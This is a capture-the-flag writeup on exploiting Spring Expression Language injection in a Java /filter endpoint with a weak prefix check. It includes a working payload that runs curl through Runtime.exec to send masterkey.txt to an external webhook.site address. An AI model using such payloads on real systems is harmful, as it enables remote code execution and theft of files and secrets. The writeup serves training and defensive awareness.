Post

SpEL Injection Exploit – AppSec Master Challenge Writeup

SpEL Injection Exploit – AppSec Master Challenge Writeup

In this challenge from AppSec Master, the goal was to exploit a Spring Expression Language (SpEL) injection to execute a command on the server and exfiltrate the content of the masterkey.txt file.

Objective

Leverage a vulnerable /filter endpoint to execute arbitrary Java code via SpEL injection and read the contents of masterkey.txt.


Source Code Analysis

Here’s the relevant part of the server-side code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@PostMapping("/filter")
public Object filter(@RequestBody Map<String, String> payload) {
    String filter = payload.get("filter");

    if (!filter.startsWith("username") && !filter.startsWith("ipaddr") && !filter.startsWith("role")) {
        return Map.of("error", "Only filtering on 'username', 'ipaddr' and 'role' is allowed");
    }

    ExpressionParser parser = new SpelExpressionParser();
    List<String> result = new ArrayList<>();

    for (User user : users) {
        StandardEvaluationContext context = new StandardEvaluationContext(user);
        try {
            Boolean matches = parser.parseExpression(filter).getValue(context, Boolean.class);
            if (Boolean.TRUE.equals(matches)) {
                result.add(user.getUsername());
            }
        } catch (Exception e) {
            return Map.of("error", "Evaluation failed");
        }
    }

    return Map.of("result", result);
}

Key Observations

  • The backend accepts a JSON payload with a filter key.

  • It performs a weak check to ensure the filter string starts with username, ipaddr, or role.

  • The filter is then evaluated using SpEL, which can interpret and execute Java-like expressions.

This opens up a door to Expression Injection, especially since parser.parseExpression() is used directly on user input.


Exploiting SpEL Injection

Since only the start of the filter string is validated, we can inject arbitrary expressions using or.

Payload:

1
2
3
{
  "filter": "username == 'omar' or T(java.lang.Runtime).getRuntime().exec(new String[]{\"curl\", \"--data-urlencode\", \"leak@masterkey.txt\", \"https://webhook.site/518649e2-bcb2-453f-aee1-caa48a6ab505\"})"
}

This payload does the following:

  • username == 'omar' passes the startsWith check.

  • or allows us to short-circuit and execute our SpEL expression.

  • T(java.lang.Runtime).getRuntime().exec(...) executes the Java Runtime.exec() method.

  • We use the array syntax new String[]{...} to avoid shell interpretation issues in Java.

  • --data-urlencode causes curl to read the content of masterkey.txt and send it as POST data to webhook.site.


Result

The request was sent, and I successfully received the contents of the file on the webhook


🔐 Key Takeaways

  • SpEL Injection is extremely dangerous when user-controlled input is evaluated without sanitization.

  • T(...) gives access to arbitrary Java classes.

  • Runtime execution should never be exposed via dynamic expression evaluation.


📚 References


If you enjoyed this write-up, feel free to follow me on Twitter

This post is licensed under CC BY 4.0 by the author.